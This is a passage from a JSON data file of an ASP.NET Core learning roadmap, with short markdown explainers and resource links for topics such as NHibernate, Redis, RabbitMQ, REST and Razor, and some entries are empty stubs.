    "path": "src/data/roadmaps/aspnet-core/content/native-background-service@uP1nqbmFmZL_wA2DoqP8C.md",
    "content": "# Native Background Service\n\nA Native Background Service in [ASP.NET](http://ASP.NET) is a type of service that can run in the background on a device, without the need for an active user session. These services are typically used for tasks that need to run continuously, such as sending notifications, polling for updates, or processing data.\n\nIn [ASP.NET](http://ASP.NET), a Native Background Service can be implemented using the IHostedService interface, which is part of the Microsoft.Extensions.Hosting namespace. This interface allows you to create a background service that can run continuously, even when the main application is not running.\n\nVisit the following resources to learn more:\n\n- [@article@Background tasks with hosted services in ASP.NET](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/host/hosted-services?view=aspnetcore-7.0&tabs=visual-studio)\n- [@article@BackgroundService in ASP.NET Core](https://medium.com/@daniel.sagita/backgroundservice-for-a-long-running-work-3debe8f8d25b)\n- [@video@Tutorial on Background Tasks in ASP.NET](https://youtube.com/watch?v=rugxQIH_p3A)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/net-aspire@HqhqqiA5X00Xl1RnZgrNJ.md",
    "content": "# .NET Aspire"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/net-aspire@Ohc0xzI6qX4hOFVNfRj1F.md",
    "content": "# .NET Aspire"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/net-cli@6HJQ1Evgah0Pki04Z2hQt.md",
    "content": "# .NET CLI\n\n.NET CLI is the command-line interface (CLI) for the .NET platform. It is a tool that provides a common interface for running .NET Core command-line tools and utilities. .NET Core is a cross-platform, open-source, and modular version of the .NET framework, and the .NET CLI provides a way to interact with it from the command line.\n\nVisit the following resources to learn more:\n\n- [@article@Microsoft - .NET CLI overview](https://learn.microsoft.com/en-us/dotnet/core/tools/)\n- [@video@Intro To The .NET CLI](https://youtu.be/RQLzp2Z8-BE)\n- [@feed@Explore top posts about CLI](https://app.daily.dev/tags/cli?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/net-maui@olqSPUU3RoxhQ6exfMzeN.md",
    "content": "# .NET MAUI"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/net@3GGvuxdfuDwLpNX_gtjCK.md",
    "content": "# .NET Framework\n\n.NET (pronounced \"dot net\") is a software framework developed by Microsoft that can be used to create a wide range of applications, including Windows desktop and web applications, mobile apps, and gaming. The .NET Framework provides a large library of pre-built functionality, including collections, file input/output, and networking, that can be used by .NET applications. It also includes a Common Language Runtime (CLR) which manages the execution of code, providing features such as memory management, security, and exception handling.\n\nVisit the following resources to learn more:\n\n- [@article@What is .NET?](https://dotnet.microsoft.com/en-us/learn/dotnet/what-is-dotnet)\n- [@article@An Overview of .NET](https://auth0.com/blog/what-is-dotnet-platform-overview/)\n- [@feed@Explore top posts about .NET](https://app.daily.dev/tags/.net?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/netmq@8d4f7_3VO03vy7YDWwPI9.md",
    "content": "# NetMQ\n\nNetMQ is a lightweight, open-source messaging library for building distributed systems and real-time applications in .NET. It provides an API for sending and receiving messages using a variety of messaging patterns and protocols, including request-response, publish-subscribe, and push-pull.\n\nNetMQ is built on top of ZeroMQ, a high-performance, asynchronous messaging library that provides a minimalistic socket-based API for building distributed systems. NetMQ is designed to be easy to use and to abstract away the complexities of ZeroMQ, making it a good choice for developers who want to add messaging capabilities to their [ASP.NET](http://ASP.NET) applications without having to learn a complex API.\n\nVisit the following resources to learn more:\n\n- [@article@Documentation of NetMQ](https://netmq.readthedocs.io/en/latest/introduction/)\n- [@article@NetMQ and creating a Dynamic Worker in .NET](https://mikaelkoskinen.net/post/netmq-and-creating-a-dynamic-worker-per-task)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nhibernate@z24IJndpQYTl1PhiUI2mx.md",
    "content": "# NHibernate\n\nNHibernate is an open-source Object-Relational Mapping (ORM) framework for .NET. It is a powerful and flexible framework that can greatly simplify working with relational data in .NET. NHibernate is similar to other ORM frameworks such as Entity Framework and RepoDb in that it provides a higher-level abstraction on top of the underlying data access technology ([ADO.NET](http://ADO.NET) in this case) and allows developers to work with data using domain-specific objects, eliminating the need to write raw SQL statements.\n\nNHibernate uses the concept of \"mapping files\" which are XML files that define how the classes in the application map to the tables and columns in the database. These mapping files are used to create a conceptual model of the data in the form of classes, and then NHibernate uses this model to generate the SQL statements necessary to interact with the database.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with NHibernate](https://nhibernate.info/)\n- [@article@What is Nhibernate?](https://www.partech.nl/en/publications/2021/08/what-is-nhibernate-and-how-is-it-different-from-entity-framework)\n- [@article@NHibernate - ORM](https://www.tutorialspoint.com/nhibernate/nhibernate_orm.htm)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nlog@ykF2bB_68AhCOzeQ_QSW1.md",
    "content": "# NLog\n\nNLog is an open-source logging library for .NET applications, including [ASP.NET](http://ASP.NET). It is designed to be easy to use, highly configurable, and extensible, and it provides a number of features that help developers to log and analyze data in their applications.\n\nNLog is a powerful, flexible, and easy-to-use logging library that can be used in [ASP.NET](http://ASP.NET) applications to provide detailed log data. It allows developers to easily configure their logging pipeline, and to write log data to a variety of destinations, making it easier to analyze and troubleshoot issues in the application.\n\nVisit the following resources to learn more:\n\n- [@article@Logging with NLog in ASP.NET](https://codewithmukesh.com/blog/logging-with-nlog-in-aspnet-core/)\n- [@article@Introduction To NLog With ASP.NET Core](https://www.c-sharpcorner.com/article/introduction-to-nlog-with-asp-net-core2/)\n- [@video@Tutorial of Nlog with ASP.NET](https://www.youtube.com/watch?v=PnlxRmHg0lU)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nosql@WUis4K9vduriYdVkKvM9r.md",
    "content": "# Nosql\n\nNoSQL (Not Only SQL) is a type of database that does not use the traditional table-based relational model. It is designed to handle large amounts of unstructured or semi-structured data, and it is often used in big data and real-time web applications. NoSQL databases are highly scalable and can handle high-performance needs and large data sets.\n\nThere are several types of NoSQL databases, such as document databases, key-value databases, graph databases, and column-family databases, each with their own unique features and use cases. Some examples of NoSQL databases include MongoDB, Cassandra, RavenDB, CouchDB, and Redis.\n\nVisit the following resources to learn more:\n\n- [@article@NoSQL in .NET Applications](https://www.slideshare.net/shijucv/nosql-database-in-net-apps)\n- [@article@Open Source NoSQL Database for .NET](https://www.alachisoft.com/nosdb/)\n- [@article@Use NoSQL databases in ASP.NET](https://learn.microsoft.com/en-us/dotnet/architecture/microservices/microservice-ddd-cqrs-patterns/nosql-database-persistence-infrastructure)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nservicebus@vf8W1FLhcb3awx4JBaY5r.md",
    "content": "# NServiceBus\n\nNServiceBus (NSB) is a service bus framework for building distributed systems using the .NET framework. It provides a set of features for building message-based, loosely-coupled applications, including support for message routing, message handling, and message persistence.\n\nNSB supports multiple messaging transports, including MSMQ, RabbitMQ, and Azure Service Bus, and provides support for advanced messaging patterns such as publish-subscribe, request-response, and message-based sagas.\n\nVisit the following resources to learn more:\n\n- [@article@Using NServiceBus in an ASP.NET](https://docs.particular.net/samples/web/send-from-aspnetcore-webapi/)\n- [@article@Learn NServiceBus from .NET Core](https://www.codeproject.com/Articles/1224839/Learn-NServiceBus-from-NET-Core-WebAPI)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nsubstitute@iZCxinqlVefBk5-ICqt4v.md",
    "content": "# NSubstitute\n\nNSubstitute is a popular open-source .NET library that allows developers to create mock objects for use in unit testing, it is a powerful and flexible substitute for traditional mocking frameworks such as Moq and Rhino Mocks. In the context of [ASP.NET](http://ASP.NET), NSubstitute can be used to create mock objects for testing web applications built using the [ASP.NET](http://ASP.NET) framework, it provides a simple and intuitive syntax for creating mock objects, setting up mock behavior, and making assertions on calls made to the mock objects. NSubstitute supports a wide range of testing frameworks and test runners, including MSTest, NUnit, and xUnit and it also supports various platforms including .NET Framework, .NET Core, Xamarin and Unity.\n\nVisit the following resources to learn more:\n\n- [@opensource@Overview of NSubstitute](https://github.com/nsubstitute/NSubstitute)\n- [@article@Getting started NSubstitute](https://nsubstitute.github.io/help/getting-started/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nuke@EsC1JwFOMOlQVelpmxISh.md",
    "content": "# NUKE\n\nNUKE (Build Automation for .NET) is an open-source build automation tool for .NET projects. It is designed to be simple, flexible, and extensible, making it easy to automate the build, test, and deployment process of your .NET projects.\n\nNUKE allows you to define your build process using a simple, declarative syntax, making it easy to understand and maintain. It provides a set of built-in tasks for common build actions, such as compiling, testing, and publishing, as well as a powerful extensibility model that allows you to add custom tasks and scripts.\n\nVisit the following resources to learn more:\n\n- [@article@How to Build Automation with NUKE](https://learn.microsoft.com/en-us/shows/on-net/build-automation-with-nuke)\n- [@article@Automate your .NET project builds with NUKE](https://laurentkempe.com/2022/02/02/automate-your-dotnet-project-builds-with-nuke-a-cross-platform-build-automation-solution/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/nunit@qHYBlBCvCGUZGh6gyEI63.md",
    "content": "# NUnit\n\nNUnit is a unit testing framework for the .NET framework, it's an open-source testing framework that provides a set of attributes and classes that can be used to create unit tests. In the context of [ASP.NET](http://ASP.NET), NUnit can be used to write unit tests for web applications built using the [ASP.NET](http://ASP.NET) framework. NUnit provides features such as support for data-driven tests, support for parallel test execution, and support for test discovery and execution, it also provides support for test isolation which allows developers to run tests in isolation from each other. NUnit is a popular alternative to other testing frameworks like MSTest and xUnit and it has a similar syntax as JUnit and it's considered as one of the oldest testing frameworks for .NET.\n\nVisit the following resources to learn more:\n\n- [@article@NUnit With C#](https://www.c-sharpcorner.com/UploadFile/84c85b/nunit-with-C-Sharp/)\n- [@article@Unit testing C# with NUnit and .NET Core](https://learn.microsoft.com/en-us/dotnet/core/testing/unit-testing-with-nunit)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/object-mapping@9ECykIIvXlDblbFbRVcJS.md",
    "content": "# Object Mapping\n\nObject mapping in [ASP.NET](http://ASP.NET) refers to the process of converting an object of one type to an object of another type. This can be useful in a number of scenarios, such as when working with domain models and data transfer objects (DTOs) in a layered architecture, or when mapping between different versions of an object or different formats such as JSON and XML.\n\nThere are several libraries available for object mapping in [ASP.NET](http://ASP.NET), such as AutoMapper, ExpressMapper, AgileMapper, AgileMapster and Mapster. These libraries provide a convenient and flexible way to map between objects, using a convention-based approach or a fluent API to configure more complex mappings. They also support for a wide range of mapping scenarios, including nested and circular object graphs, collections, and different types of inheritance.\n\nVisit the following resources to learn more:\n\n- [@article@Building a Fast Object-to-Object Mapper in .NET](https://www.twilio.com/blog/building-blazing-fast-object-mapper-c-sharp-net-core)\n- [@article@Overview of Object Mapping in ASP.NET](https://docs.abp.io/en/abp/latest/Object-To-Object-Mapping)\n- [@article@Comparison of Object Mapper Libraries](https://www.simplilearn.com/tutorials/asp-dot-net-tutorial/automapper-in-c-sharp)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/object-relational-mapping@POQPoN98eqOH2873ZI6Hm.md",
    "content": "# ORM\n\nORM stands for Object-Relational Mapping, and it is a technique that allows a developer to work with a database using objects. It is a way of abstracting the database so that the developer can think in terms of objects, rather than tables and SQL queries. This can make it easier to write and maintain code, as well as improve the performance of the application.\n\nVisit the following resources to learn more:\n\n- [@article@ORM (Object Relational Mapping)](https://www.telerik.com/blogs/dotnet-basics-orm-object-relational-mapping)\n- [@article@Understanding Object-Relational Mapping: Pros, Cons](https://www.altexsoft.com/blog/object-relational-mapping/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/ocelot@2k-rGuhYTTAR9XN3aDAnW.md",
    "content": "# Ocelot\n\nOcelot is an open-source API gateway for [ASP.NET](http://ASP.NET) Core. It is designed to work as a reverse proxy, routing incoming requests to the appropriate service and aggregating the responses to return to the client. Ocelot allows you to define routing rules, handle requests and responses, and perform other common API gateway tasks such as rate limiting, caching, and authentication.\n\nOne of the key features of Ocelot is its flexibility, it can route incoming requests to multiple services, aggregate the responses, and return them as a single response to the client. It also allows you to define dynamic routes, based on the request's content, perform request and response transformations, and handle errors.\n\nVisit the following resources to learn more:\n\n- [@article@Implement API Gateways with Ocelot](https://learn.microsoft.com/en-us/dotnet/architecture/microservices/multi-container-microservice-net-applications/implement-api-gateways-with-ocelot)\n- [@article@Getting Started with Ocelot](https://ocelot.readthedocs.io/en/latest/introduction/gettingstarted.html)\n- [@video@Building an API Gateway in ASP.NET using Ocelotss](https://www.youtube.com/watch?v=hlUGZ6Hmv6s)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/odata@YojZ5fpzw-5WgoqqkO6wl.md",
    "content": "# OData\n\nOData (Open Data Protocol) is a web protocol for querying and updating data. It is an open standard for creating and consuming RESTful web services. OData is built on top of the HTTP protocol, and it uses the conventions of REST to expose data through a standard interface.\n\nIn [ASP.NET](http://ASP.NET), OData can be used to create RESTful web services that expose data in a standardized way. OData provides a set of conventions for defining the structure of the data, and it also provides a set of conventions for querying and updating the data.\n\nVisit the following resources to learn more:\n\n- [@article@Create an OData v4 Endpoint Using ASP.NET](https://learn.microsoft.com/en-us/aspnet/web-api/overview/odata-support-in-aspnet-web-api/odata-v4/create-an-odata-v4-endpoint)\n- [@video@Example of OData Protocol With ASP.NET Core](https://www.youtube.com/watch?v=L9HdnNCi0R0)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/orleans@XKsLqDDco5OXKURCcWAmv.md",
    "content": "# Orleans\n\nOrleans is an open-source virtual actor model framework for building distributed, high-scale, and low-latency applications in .NET. It is designed to make it easy to build and operate large-scale, distributed systems, such as cloud services, IoT applications, and gaming servers.\n\nOne of the key features of Orleans is its use of the virtual actor model, which is a programming model that allows developers to write concurrent and parallel code in a way that is similar to writing single-threaded code. Orleans provides a set of abstractions for building stateful actors, which are similar to objects in object-oriented programming, that can be distributed across multiple machines. These actors can communicate with each other using message passing, and can be accessed remotely using a transparent proxy\n\nVisit the following resources to learn more:\n\n- [@article@Microsoft Orleans](https://learn.microsoft.com/en-us/dotnet/orleans/overview)\n- [@article@Introduction to Orleans](https://dev.to/willvelida/introduction-to-microsoft-orleans-796)\n- [@video@Building real applications with Orleans](https://www.youtube.com/watch?v=8duFuggnj8o)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/playwright@AtyL0ij8FeJCBmqG2YvTO.md",
    "content": "# Playwright\n\nPlaywright is an open-source library for automating web browsers built by Microsoft, similar to Selenium, it's commonly used for testing web applications. It's built on top of the .NET Core runtime and it provides bindings for C#, it allows developers to write tests for web applications in C# or other .NET languages. Playwright is designed to be fast and reliable and allows developers to run tests in multiple browsers.\n\nVisit the following resources to learn more:\n\n- [@opensource@Playwright for .NET](https://github.com/microsoft/playwright-dotnet)\n- [@article@How to test Apps with Playwright and .NETs](https://www.twilio.com/blog/test-web-apps-with-playwright-and-csharp-dotnet)\n- [@article@End-to-End Tests With ASP.NET and Playwright](https://khalidabuhakmeh.com/end-to-end-test-with-aspnet-core-xunit-and-playwright)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/polly@gQhiEpvx__70N1WbEHGYJ.md",
    "content": "# Polly\n\nPolly is an open-source library for .NET that provides a simple and flexible API for handling transient faults and other types of errors that occur during the execution of a service. It allows developers to define a set of policies, such as retry, circuit breaker, and timeout, that can be used to handle specific types of errors and improve the resiliency of the service. It provides a fluent API that makes it easy to define and configure policies, supports advanced features such as async and sync execution, fallback policies, and policy wrapping. Additionally, it allows to specify the exception type that is thrown and it would trigger the policy.\n\nVisit the following resources to learn more:\n\n- [@article@Using Polly for .NET Resilience](https://www.telerik.com/blogs/using-polly-for-net-resilience-and-transient-fault-handling-with-net-core)\n- [@article@Build Resilient Microservices Using Polly In ASP.NET](https://procodeguide.com/programming/polly-in-aspnet-core/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/postgresql@An9TLvo-I6NtC8wFU3bh4.md",
    "content": "# PostgreSQL\n\nPostgreSQL, often simply \"Postgres\", is an open-source relational database management system (RDBMS) emphasizing extensibility and SQL compliance. It was originally developed at the University of California, Berkeley in the 1980s and is now maintained by the PostgreSQL Global Development Group.\n\nPostgres is known for its robustness and reliability, as well as its support for advanced features such as concurrency control, full-text search, and geospatial data. It is also highly extensible, allowing developers to create custom functions and operators in a variety of programming languages, including C, Python, and JavaScript.\n\nVisit the following resources to learn more:\n\n- [@official@Postgresql - Open Source Relational Database](https://www.postgresql.org/)\n- [@article@What is Postgresql?](https://postgresqltutorial.com/postgresql-getting-started/what-is-postgresql/)\n- [@article@Introduction, Advantages & Disadvantages of PostgreSQL](https://www.guru99.com/introduction-postgresql.html)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/puppeteer@UCpoLiQJ4LeniI9x3uGcY.md",
    "content": "# Puppeteer\n\nPuppeteer is an open-source library for automating web browsers, similar to Selenium and Playwright. It's built on top of the Chrome DevTools protocol and it provides a set of APIs that allows developers to interact with web browsers and simulate user interactions, such as clicking buttons, filling out forms, and navigating between pages. It's commonly used for testing web applications, web scraping, and generating screenshots and PDFs of web pages. Puppeteer for .NET is built on top of the .NET Core runtime and it provides bindings for C# and allows developers to write tests for web applications in C# or other .NET languages.\n\nVisit the following resources to learn more:\n\n- [@article@Why use Puppeteer?](https://www.kiltandcode.com/puppeteer-sharp-crawl-the-web-using-csharp-and-headless-chrome/)\n- [@article@Documentations of Puppeteer](https://www.puppeteersharp.com/)\n- [@feed@Explore top posts about Crawling](https://app.daily.dev/tags/crawling?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/quartz@zOWlPXIl4XPs_0pA8-yi5.md",
    "content": "# Quartz\n\nQuartz is an open-source, job scheduling library for .NET that can be used in [ASP.NET](http://ASP.NET) applications. It is based on the popular Quartz scheduler for Java, and provides a similar feature set for scheduling and executing background jobs in .NET applications.\n\nWith Quartz, you can schedule jobs to run at specific times or intervals, and you can also set up triggers to start a job based on certain events. Quartz also provides a rich set of options for configuring and managing your jobs, such as pausing, resuming, and canceling jobs, as well as job chaining and priorities.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Quartz in ASP.NET](https://aspnetboilerplate.com/Pages/Documents/Quartz-Integration)\n- [@article@How to work with Quartz.Net in ASP.NET](https://www.infoworld.com/article/3078781/how-to-work-with-quartz-net-in-c.html)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/rabbitmq@KqvBn2_wvYhFdv0dBZMC9.md",
    "content": "# RabbitMQ\n\nRabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It is written in Erlang and can be used to send and receive messages between different applications in a loosely coupled, asynchronous manner. RabbitMQ supports a variety of messaging patterns, including point-to-point, publish-subscribe, and request-response.\n\nIn the context of an [ASP.NET](http://ASP.NET) application, RabbitMQ can be used to send and receive messages to and from other systems. For example, it can be used to send messages from a web application to a background service, or to send messages between different microservices.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction of RabbitMQ](https://www.rabbitmq.com/tutorials/tutorial-one-dotnet.html)\n- [@article@How to Use RabbitMQ in ASP NET?](https://www.freecodespot.com/blog/use-rabbitmq-in-asp-net-core/)\n- [@article@ASP.NET and RabbitMQ](https://referbruv.com/blog/integrating-rabbitmq-with-aspnet-core-quickstart-with-an-example/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/razor-components@vePinRjDfSGULKw0LE9K-.md",
    "content": "# Razor Components\n\nRazor Components is a feature of [ASP.NET](http://ASP.NET) Core that allows developers to build reusable, self-contained components that can be used across multiple pages or even multiple applications. Razor Components is built on top of the Razor view engine, which allows developers to define components using a combination of Razor markup and C# code.\n\nRazor Components are useful for building complex, dynamic, and reusable UI elements, such as forms, tables, or dialogs, and can be used to build both small and large-scale web applications.\n\nVisit the following resources to learn more:\n\n- [@article@ASP.NET Core Razor components](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/?view=aspnetcore-7.0)\n- [@article@Core Razor Componets in .NET](https://www.c-sharpcorner.com/blogs/asp-net-core-razor-componets)\n- [@video@What is Core razor components?](https://www.youtube.com/watch?v=KseDLejhYi0)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/razor-pages@qpVxwuyA2oE06MZLtEdP1.md",
    "content": "# Razor Pages\n\nRazor Pages is a feature of the [ASP.NET](http://ASP.NET) Core framework that allows developers to build web applications using a combination of Razor markup (a markup syntax for defining dynamic HTML) and C# code. Razor Pages is built on top of the [ASP.NET](http://ASP.NET) Core MVC (Model-View-Controller) framework, and provides a simpler, more intuitive way to build web pages and handle user input.\n\nRazor Pages are useful for building simple, self-contained web pages that do not require a complex navigation or layout structure, and are often used for building small to medium-size web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Basics of Razor Pages](https://www.jetbrains.com/dotnet/guide/tutorials/basics/razor-pages/)\n- [@article@Get started with Razor Pages in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/tutorials/razor-pages/?view=aspnetcore-7.0)\n- [@article@What Is Razor Pages?](https://www.learnrazorpages.com/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/razor@nUE2-egUMNFQoPVrVRFPl.md",
    "content": "# Razor\n\nRazor is a markup syntax for embedding server-side code in web pages. It was introduced with [ASP.NET](http://ASP.NET) MVC 3 and later became a part of [ASP.NET](http://ASP.NET) Web Pages. It allows developers to write server-side code using C# or Visual Basic and embed it in HTML markup. Its syntax is designed to be compact and easy to read. It provides a rich set of features for building web applications, such as a component model for building reusable UI, a routing system for navigation, and support for dependency injection, it also allows you to use the same libraries, frameworks, and tools that you're already familiar with from building traditional [ASP.NET](http://ASP.NET) web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to ASP.NET Web Programming Using Razor](https://learn.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)\n- [@article@An Introduction To Razor](https://khalidabuhakmeh.com/what-is-razor-aspnet)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/real-time-communication@9Vv3OxafB6BlHhi1ZkeVO.md",
    "content": "# Real Time Communication\n\nReal-time communication in [ASP.NET](http://ASP.NET) refers to the ability to send and receive data between a client and a server in real-time, typically with low latency. It allows the server to push updates to the client as they happen, instead of the client having to continuously poll the server for updates.\n\nThere are several technologies and libraries available for implementing real-time communication in [ASP.NET](http://ASP.NET), such as WebSockets, SignalR, gRPC, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of ASP.NET Core SignalR](https://learn.microsoft.com/en-us/aspnet/core/signalr/introduction?view=aspnetcore-7.0)\n- [@article@Real-time ASP.NET with SignalR](https://dotnet.microsoft.com/en-us/apps/aspnet/signalr)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/redis@Ts0gJ4DdwFp48LGr4YSvM.md",
    "content": "# Redis\n\nRedis is an open source (BSD licensed) which is an in-memory data structure store used as a database, cache, message broker, and streaming engine. Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams. Redis has built-in replication, Lua scripting, LRU eviction, transactions, and various levels of on-disk persistence, and provides high availability via Redis Sentinel and automatic partitioning with Redis Cluster.\n\nYou can use Redis in many programming languages. It is such a popular and widely used cache that Microsoft Azure also provides its cloud-based version with the name Azure Cache for Redis.\n\nVisit the following resources to learn more:\n\n- [@official@Learn how to build with Redis Stack and .NET](https://redis.io/docs/stack/get-started/tutorials/stack-dotnet/)\n- [@article@Redis Cache In ASP.NET 6.0 Web API](https://www.c-sharpcorner.com/article/easily-use-redis-cache-in-asp-net-6-0-web-api/)\n- [@video@ASP.Net Core Distributed Caching - Redis Caching](https://www.youtube.com/watch?v=4Br-QnBo6Yw)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/relational@FnRxRY3uDZdTve1w-nBfc.md",
    "content": "# Relational\n\nA relational database is a type of database that stores data in a structured format, using tables and relationships between them. It is based on the relational model, which organizes data into one or more tables, with each table consisting of a set of rows and columns.\n\nThe main feature of a relational database is the ability to establish relationships between tables, using a feature called a foreign key. A foreign key is a column or set of columns in one table that is used to link to the primary key of another table. This allows data to be spread across multiple tables, but still be connected and easily accessed through these relationships.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Working with Database in ASP.NET](https://learn.microsoft.com/en-us/aspnet/web-pages/overview/data/5-working-with-data)\n- [@article@Implement a Relational Database with ASP.NET](https://openclassrooms.com/en/courses/5671811-implement-a-relational-database-with-asp-net-core)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/repodb@tYDVcnG0oUF3R8DwASvAh.md",
    "content": "# RepoDB\n\nRepoDB is an open-source ORM (Object-Relational Mapping) library for .NET that simplifies the process of working with databases. It is a lightweight, fast, and easy-to-use library that provides a simple and consistent API for performing common database operations such as querying, inserting, updating, and deleting data.\n\nRepoDb is built on top of [ADO.NET](http://ADO.NET), which is the native data access technology in .NET, and provides a higher-level abstraction on top of it. This allows RepoDb to take advantage of the performance and scalability of [ADO.NET](http://ADO.NET) while providing a simpler and more convenient API for developers.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with RepoDB](https://repodb.net/)\n- [@article@Complete Guide to RepoDB](https://medium.com/nerd-for-tech/everything-you-need-to-know-about-repodb-23cd4b9939c1)\n- [@article@Why Choose RepoDB?](https://blog.devgenius.io/why-choose-repodb-orm-over-dapper-da87432c7830)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/respawn@TCswZHviRiu6SIOwUisu8.md",
    "content": "# Respawn"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/rest@KJCtxH3mYsZq3hfBZ6cJF.md",
    "content": "# REST\n\nREST (Representational State Transfer) is an architectural style for building web services. It is based on the principles of the HTTP protocol, and it uses the conventions of HTTP to create a standard interface for interacting with web services.\n\nIn [ASP.NET](http://ASP.NET), REST can be used to create web services that expose data in a standardized way. RESTful web services in [ASP.NET](http://ASP.NET) are typically built using the Web API framework, which provides a set of libraries and tools for building RESTful web services.\n\nVisit the following resources to learn more:\n\n- [@article@What is REST Services in ASP.NET?](http://www.codedigest.com/quick-start/16/what-is-rest-services-how-to-create-rest-services-in-aspnet)\n- [@article@What are RESTful APIs?](https://www.pragimtech.com/blog/blazor/what-are-restful-apis/)\n- [@video@Tutorial of Rest and Restful API](https://www.youtube.com/watch?v=4r1CIUs5s2I)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/rest@dZ9fYWMBa1OemTmLOI8_q.md",
    "content": "# REST\n\nREST (Representational State Transfer) is an architectural style for building web services. In the context of .NET, RESTful web services can be created using the [ASP.NET](http://ASP.NET) Web API framework, which allows developers to create HTTP-based services that can be consumed by a wide range of clients, including web browsers and mobile devices. The Web API framework provides a set of tools and libraries for creating RESTful services, including routing, request/response handling, and support for a variety of data formats, such as JSON and XML.\n\nVisit the following resources to learn more:\n\n- [@article@What is REST Services?](http://www.codedigest.com/quick-start/16/what-is-rest-services-how-to-create-rest-services-in-aspnet)\n- [@article@Restful API In ASP.NET: Introduction of REST & Web API](https://www.c-sharpcorner.com/UploadFile/4b0136/restful-api-in-Asp-Net-introduction-of-rest-web-api/)\n- [@article@What are RESTful APIs](https://www.pragimtech.com/blog/blazor/what-are-restful-apis/)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/scalar@Zb4Gugxf7d6MoeEcfngrV.md",
    "content": "# Scalar"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/scoped@M3BW_63MFQyD8NE68dazD.md",
    "content": "# Scoped\n\nScoped lifetime is a type of dependency injection that creates a new instance of an object for each unique request, but reuses the same instance for the same request. This means that if multiple components within the same request depend on the same service, they will all receive the same instance. However, if another request is made, a new instance of the service will be created for that request.\n\nScoped lifetime is useful when you have services that are specific to a given request, such as a request-scoped database context. This allows you to have a separate and isolated instance of a service for each unique request, which can help to prevent cross-request contamination of data and improve performance.\n\nVisit the following resources to learn more:\n\n- [@article@Dependency Injection - What is Scope?](https://javaranch.com/journal/2008/10/dependency-injection-what-is-scope.html)\n- [@article@Effective Dependency Injection Scoping](https://medium.com/android-news/effective-dependency-injection-scoping-4bac813d4491)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/scriban@dWB5OCvWVYkD30Op_dMwy.md",
    "content": "# Scriban\n\nScriban is an open-source, lightweight template engine for .NET that is based on the Lua programming language. It is designed to be simple and easy to use, while still providing a powerful set of features for creating and manipulating templates. It provides a simple and easy-to-use API for parsing and rendering templates, and supports a wide range of features such as variables, loops, conditionals, and functions. It also provides a wide range of built-in functions for working with strings, numbers, dates, and other types of data, and also supports advanced features such as scripting and metaprogramming.\n\nVisit the following resources to learn more:\n\n- [@opensource@Guide to Scriban in ASP.NET](https://github.com/scriban/scriban)\n- [@article@Introduction to Scriban](https://www.markvanaalst.com/blog/sxa/sxa-9-3-introducing-scriban/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/scrutor@f212ztDU_kb7gO71Nn76L.md",
